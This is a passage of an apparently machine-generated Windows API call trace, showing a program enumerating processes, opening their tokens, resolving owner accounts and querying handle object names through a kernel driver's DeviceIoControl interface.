PsAcquireProcessExitSynchronization () returned 0x0 [0132.754] KeStackAttachProcess (in: PROCESS=0xfffffa80020273e0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020273e0, ApcState=0xfffff880050005d0) [0132.754] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0132.754] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.754] PsReleaseProcessExitSynchronization () returned 0x2 [0132.754] ObfDereferenceObject (Object=0xfffffa80020273e0) returned 0x10 [0132.754] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003425044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003425044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.754] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0132.754] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.754] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.754] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x8e0) returned 0xc0 [0132.754] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0132.754] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa8002037b30, HandleInformation=0x0) returned 0x0 [0132.754] ObOpenObjectByPointer (in: Object=0xfffffa8002037b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800008bc) returned 0x0 [0132.754] ObfDereferenceObject (Object=0xfffffa8002037b30) returned 0x12 [0132.754] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800008bc, DesiredAccess=0x8, TokenHandle=0xfffffa80089f71c0 | out: TokenHandle=0xfffffa80089f71c0*=0xc8) returned 0x0 [0132.755] ZwClose (Handle=0xffffffff800008bc) returned 0x0 [0132.755] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.755] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0132.755] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0132.756] CloseHandle (hObject=0xc8) returned 1 [0132.756] CloseHandle (hObject=0xc0) returned 1 [0132.756] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.756] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0132.756] PsLookupProcessByProcessId (in: ProcessId=0x8e0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.756] PsAcquireProcessExitSynchronization () returned 0x0 [0132.756] KeStackAttachProcess (in: PROCESS=0xfffffa8002037b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002037b30, ApcState=0xfffff880050005d0) [0132.756] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002035970, HandleInformation=0x0) returned 0x0 [0132.756] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.757] PsReleaseProcessExitSynchronization () returned 0x2 [0132.757] ObfDereferenceObject (Object=0xfffffa8002037b30) returned 0x10 [0132.757] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005000508) returned 0x0 [0132.757] ObfDereferenceObject (Object=0xfffffa8002035970) returned 0x1 [0132.757] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.757] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.757] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.757] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x64, lpOverlapped=0x0) returned 1 [0132.757] PsLookupProcessByProcessId (in: ProcessId=0x8e0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.757] PsAcquireProcessExitSynchronization () returned 0x0 [0132.757] KeStackAttachProcess (in: PROCESS=0xfffffa8002037b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002037b30, ApcState=0xfffff880050005d0) [0132.757] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80020a0c70, HandleInformation=0x0) returned 0x0 [0132.757] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.757] PsReleaseProcessExitSynchronization () returned 0x2 [0132.757] ObfDereferenceObject (Object=0xfffffa8002037b30) returned 0x10 [0132.757] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800204f044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800204f044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.757] ObfDereferenceObject (Object=0xfffffa80020a0c70) returned 0x1 [0132.757] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.757] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.757] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.757] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0132.757] PsLookupProcessByProcessId (in: ProcessId=0x8e0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.757] PsAcquireProcessExitSynchronization () returned 0x0 [0132.757] KeStackAttachProcess (in: PROCESS=0xfffffa8002037b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002037b30, ApcState=0xfffff880050005d0) [0132.757] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0132.757] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.757] PsReleaseProcessExitSynchronization () returned 0x2 [0132.757] ObfDereferenceObject (Object=0xfffffa8002037b30) returned 0x10 [0132.757] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003a1e044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a1e044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.757] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0132.757] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.757] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.758] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x8f0) returned 0xc0 [0132.758] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0132.758] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa8001fabb30, HandleInformation=0x0) returned 0x0 [0132.758] ObOpenObjectByPointer (in: Object=0xfffffa8001fabb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800008bc) returned 0x0 [0132.758] ObfDereferenceObject (Object=0xfffffa8001fabb30) returned 0x12 [0132.758] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800008bc, DesiredAccess=0x8, TokenHandle=0xfffffa80089f71c0 | out: TokenHandle=0xfffffa80089f71c0*=0xc8) returned 0x0 [0132.758] ZwClose (Handle=0xffffffff800008bc) returned 0x0 [0132.758] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.758] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0132.758] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0132.976] CloseHandle (hObject=0xc8) returned 1 [0132.976] CloseHandle (hObject=0xc0) returned 1 [0132.976] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.976] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0132.976] PsLookupProcessByProcessId (in: ProcessId=0x8f0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.976] PsAcquireProcessExitSynchronization () returned 0x0 [0132.976] KeStackAttachProcess (in: PROCESS=0xfffffa8001fabb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001fabb30, ApcState=0xfffff880050005d0) [0132.976] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80020a3620, HandleInformation=0x0) returned 0x0 [0132.976] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.976] PsReleaseProcessExitSynchronization () returned 0x2 [0132.976] ObfDereferenceObject (Object=0xfffffa8001fabb30) returned 0x10 [0132.976] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800203e044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800203e044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.976] ObfDereferenceObject (Object=0xfffffa80020a3620) returned 0x1 [0132.976] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0132.976] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.976] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.976] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x80, lpOverlapped=0x0) returned 1 [0132.976] PsLookupProcessByProcessId (in: ProcessId=0x8f0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.976] PsAcquireProcessExitSynchronization () returned 0x0 [0132.976] KeStackAttachProcess (in: PROCESS=0xfffffa8001fabb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001fabb30, ApcState=0xfffff880050005d0) [0132.976] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80019ac6b0, HandleInformation=0x0) returned 0x0 [0132.976] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.977] PsReleaseProcessExitSynchronization () returned 0x2 [0132.977] ObfDereferenceObject (Object=0xfffffa8001fabb30) returned 0x10 [0132.977] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a29044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a29044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.977] ObfDereferenceObject (Object=0xfffffa80019ac6b0) returned 0x1 [0132.977] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0132.977] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.977] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.977] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0132.977] PsLookupProcessByProcessId (in: ProcessId=0x8f0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.977] PsAcquireProcessExitSynchronization () returned 0x0 [0132.977] KeStackAttachProcess (in: PROCESS=0xfffffa8001fabb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001fabb30, ApcState=0xfffff880050005d0) [0132.977] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0132.977] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.977] PsReleaseProcessExitSynchronization () returned 0x2 [0132.977] ObfDereferenceObject (Object=0xfffffa8001fabb30) returned 0x10 [0132.977] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003a6f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a6f044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.977] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0132.977] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0132.977] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.977] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x900) returned 0xc0 [0132.977] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0132.977] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa8002052460, HandleInformation=0x0) returned 0x0 [0132.977] ObOpenObjectByPointer (in: Object=0xfffffa8002052460, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800005f0) returned 0x0 [0132.977] ObfDereferenceObject (Object=0xfffffa8002052460) returned 0x12 [0132.977] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800005f0, DesiredAccess=0x8, TokenHandle=0xfffffa80089f71c0 | out: TokenHandle=0xfffffa80089f71c0*=0xc8) returned 0x0 [0132.977] ZwClose (Handle=0xffffffff800005f0) returned 0x0 [0132.977] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0132.978] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0132.978] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0132.979] CloseHandle (hObject=0xc8) returned 1 [0132.979] CloseHandle (hObject=0xc0) returned 1 [0132.979] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.979] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0132.979] PsLookupProcessByProcessId (in: ProcessId=0x900, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.979] PsAcquireProcessExitSynchronization () returned 0x0 [0132.979] KeStackAttachProcess (in: PROCESS=0xfffffa8002052460, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002052460, ApcState=0xfffff880050005d0) [0132.979] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002052d90, HandleInformation=0x0) returned 0x0 [0132.979] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.979] PsReleaseProcessExitSynchronization () returned 0x2 [0132.979] ObfDereferenceObject (Object=0xfffffa8002052460) returned 0x10 [0132.979] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.979] ObfDereferenceObject (Object=0xfffffa8002052d90) returned 0x1 [0132.979] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0132.980] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.980] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.980] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0132.980] PsLookupProcessByProcessId (in: ProcessId=0x900, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.980] PsAcquireProcessExitSynchronization () returned 0x0 [0132.980] KeStackAttachProcess (in: PROCESS=0xfffffa8002052460, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002052460, ApcState=0xfffff880050005d0) [0132.980] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80020401a0, HandleInformation=0x0) returned 0x0 [0132.980] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.980] PsReleaseProcessExitSynchronization () returned 0x2 [0132.980] ObfDereferenceObject (Object=0xfffffa8002052460) returned 0x10 [0132.980] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.980] ObfDereferenceObject (Object=0xfffffa80020401a0) returned 0x1 [0132.980] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0132.980] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.980] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.980] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0132.980] PsLookupProcessByProcessId (in: ProcessId=0x900, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.980] PsAcquireProcessExitSynchronization () returned 0x0 [0132.980] KeStackAttachProcess (in: PROCESS=0xfffffa8002052460, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002052460, ApcState=0xfffff880050005d0) [0132.980] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0132.980] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.980] PsReleaseProcessExitSynchronization () returned 0x2 [0132.980] ObfDereferenceObject (Object=0xfffffa8002052460) returned 0x10 [0132.980] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0132.980] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0132.980] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0132.980] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.980] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x910) returned 0xc0 [0132.980] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0132.980] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa8002067b30, HandleInformation=0x0) returned 0x0 [0132.980] ObOpenObjectByPointer (in: Object=0xfffffa8002067b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800005f0) returned 0x0 [0132.981] ObfDereferenceObject (Object=0xfffffa8002067b30) returned 0x12 [0132.981] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800005f0, DesiredAccess=0x8, TokenHandle=0xfffffa80089f71c0 | out: TokenHandle=0xfffffa80089f71c0*=0xc8) returned 0x0 [0132.981] ZwClose (Handle=0xffffffff800005f0) returned 0x0 [0132.981] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0132.981] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0132.981] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0132.982] CloseHandle (hObject=0xc8) returned 1 [0132.982] CloseHandle (hObject=0xc0) returned 1 [0132.982] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.982] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0132.982] PsLookupProcessByProcessId (in: ProcessId=0x910, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.982] PsAcquireProcessExitSynchronization () returned 0x0 [0132.982] KeStackAttachProcess (in: PROCESS=0xfffffa8002067b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002067b30, ApcState=0xfffff880050005d0) [0132.982] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80020627a0, 